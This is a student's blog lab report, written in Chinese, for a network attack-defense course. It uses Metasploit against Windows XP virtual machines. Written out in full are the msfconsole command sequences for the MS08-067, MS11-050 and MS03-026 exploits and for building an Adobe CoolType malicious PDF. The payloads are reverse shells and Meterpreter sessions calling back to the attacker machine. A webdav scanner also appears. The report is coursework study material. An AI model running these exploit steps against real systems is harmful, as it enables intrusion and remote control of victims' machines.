20155229《网络对抗技术》Exp5：MSF基础应用

实验内容

本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：

一个主动攻击实践，如ms08-067;
一个针对浏览器的攻击，如ms11-050；
一个针对客户端的攻击，如Adobe；
成功应用任何一个辅助模块。
以上四个小实践可不限于以上示例，并要求至少有一个是和其他所有同学不一样的。

主动攻击实践 MS08-067漏洞

msfconsole进入msf控制台
search ms08_067查看该漏洞

use exploit/windows/smb/ms08_067_netapi使用该漏洞
show payloads回链攻击载荷
set payload generic/shell_reverse_tcptcp反向回连
set LHOST 192.168.126.128攻击机的ip地址
set LPORT 5229 攻击的端口
set RHOST 192.168.126.136靶机的ip地址
set target 0 选择目标系统类型
exploit 进行攻击
下图中展现了攻击成功

在kali中输入ipconfig查看靶机的ip地址

在XP中查看靶机的ip地址，两者相比较，完全一样。

针对浏览器的攻击 ms11_050

进入msfconsole控制台
输入use windows/browser/ms11_050_mshtml_cobjectelement命令使用ms11_050漏洞
输入set payload windows/meterpreter/reverse_http命令使用http反向连接
设置kali的IP地址set LHOST 192.168.126.128
设置端口set LPORT 5229
设置资源标识符路径set URIPATH fyh5229
进行攻击exploit

将上图的LOCAL IP 的网址输入进WIN XP中的IE浏览器中，出现遇到问题需要关闭的窗口。同时360已经给出需要修复的通知。

但是回到KALI建立会话时，IE浏览器已经关闭该网页。
设置浏览器的选项，将安全等级设为最低，且启动了插件设置，但是，会话连接还是失败。。。

会接着研究这个问题的

针对客户端的攻击 Adobe

输入msfconsole进入msf控制台
输入search adobe查找和adobe相关的漏洞
我选择了 windows/fileformat/adobe_cooltype_sing
输入set payload windows/meterpreter/reverse_tcp使用tcp反向连接
设置IP地址及端口号
输入set FILENAME 5229.pdf命令生成pdf文件
进行攻击

下图为成功生成PDF文件的标志。

根据存储路径，找到PDF文件并将其放进靶机里。
但我找了很久都没有找到该文件，后来，如下图,选择显示隐藏文件，这时就能找到隐藏的文件夹了。

我先将改文件复制进了我的主机中，立马被360删除了。

在msf中进入监听模式
set payload windows/meterpreter/reverse_tcptcp反向连接
设置ip地址和端口号
进行攻击

在XP上打开5229.pdf文件，kali中显示攻击成功

输入ipconfig，显示的是xp的ip地址，证明攻击正确。

辅助模块 webdav

webdav： WebDAV 一种基于 HTTP 1.1协议的通信协议。由于 WebDAV 已与 Windows XP 和 IIS 集成，因此它具有这两者所提供的安全特性。其中包括 Internet 信息服务管理单元中指定的 IIS 权限和 NTFS 文件系统中的自由选择访问控制列表 (DACL)。

进入msf控制台
使用show auxiliary命令显示所有的辅助模块以及他们的用途。

选择scanner/http/webdav_scanner
show options查看该漏洞的配置选项

设置了kali的ip地址和线程
进行攻击

攻击的结果如上图所示，但是该靶机没有装IIS。
参考WindowsXP系统如何启用IIS安装IIS

允许webdav，再次进行攻击，会得到[*] 192.168.126.128 (Microsoft-IIS/6.0) has WEBDAV ENABLED 的消息。

RPC接口长主机名远程缓冲区溢出漏洞（MS03-026）

Remote Procedure Call (RPC)是Windows操作系统使用的一种远程过程调用协议，RPC提供进程间交互通信机制，允许在某台计算机上运行的程序无缝地在远程系统上执行代码。
使用use exploit/windows/dcerpc/ms03_026_dcom
使用set payload windows/shell_bind_tcptcp反向连接
show options 查看该漏洞的配置选项
set LHOST 192.168.126.128 设置主机ip
set RHOST 192.168.126.137 设置反弹shell的ip

进行攻击，攻击成功，但是没办法建立会话。


"无会话已创建"消息发生的情况：

① 使用的漏洞利用对所选择的目标不起作用。可以
是一个不同版本的漏洞，或目标配置有问题。


② 您使用的漏洞利用被配置为使用不创建的有效载荷 
互动会话。

根据以上提示，show options中显示Windows NT SP3-6a/2000/XP/2003 Universal都可以使用，检测了自己的虚拟机，且使用Microsoft Windows XP Professional和Microsoft Windows XP Professional SP2两个版本的虚拟机，都无法建立会话。
检查了所攻击的漏洞，无误。
因为该漏洞与RPC协议还有远程有关，所以我分别打开了虚拟机中的WindowsXP系统安全设置：关闭远程协助和服务（关闭的地方换成打开）和 XP上显示 ‘RPC 服务器不可用’是什么意思但是还是无法建立会话。
好了，我真的是没法解决这个问题了。。。

实验后问题回答

用自己的话解释什么是exploit,payload,encode.
exploit英文翻译为利用，黑客就是利用漏洞对电脑进行攻击，有漏洞不一定可以利用，但可以利用的一定有漏洞。
payload：有效载荷。通常在传输数据时，为了使数据传输更可靠，要把原始数据分批传输，并且在每一批数据的头和尾都加上一定的辅助信息，而其中的原始数据就是payload
encode：编码器，用来给payload进行编码，保护payload不被发现

实验总结与体会

这次实验其实不难，但是不代表每次攻击都能成功，也不代表每次攻击都能成功建立会话，我做了好几个实验，成功的占少数，还有些失败的我没写上来。

虽然失败的占多数，但无疑这次实验通过自己查找资料学习漏洞学到了很多知识。

posted @ 2018-04-28 17:26 Fer_佳阅读(476) 评论(0) 编辑收藏举报

Fer_佳